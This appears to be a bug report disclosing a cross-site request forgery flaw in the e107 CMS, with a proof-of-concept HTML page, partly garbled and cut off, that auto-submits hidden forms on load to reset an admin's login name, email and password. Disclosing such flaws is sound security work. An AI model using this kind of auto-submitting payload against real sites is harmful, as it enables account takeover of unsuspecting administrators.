## Bug Description  
Hi. I found a CSRF on the e107 CMS. Hacker can change password any user click the link.  
## How to Reproduce  
Steps to reproduce the behavior:  
1. Create a CSRF login POC using the following code.  
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN">  
<title>Cross Site Request Forgery (Edit Existing Admin details)</title>  
<body onload="javascript:fireForms()">  
<script language="JavaScript">  
function fireForms()  
var count = 2;  
var i=0;  
for(i=0; i<count; i++)  
<H2>Cross Site Request Forgery (Edit Existing Admin details)</H2>  
<form method="POST" name="form0" action="  
<input type="hidden" name="loginname" value="admin"/>  
<input type="hidden" name="email" value="[email]"/>  
<input type="hidden" name="password1" value="[password]"/>  
<input type="hidden" name="password2" value="[password]"/>
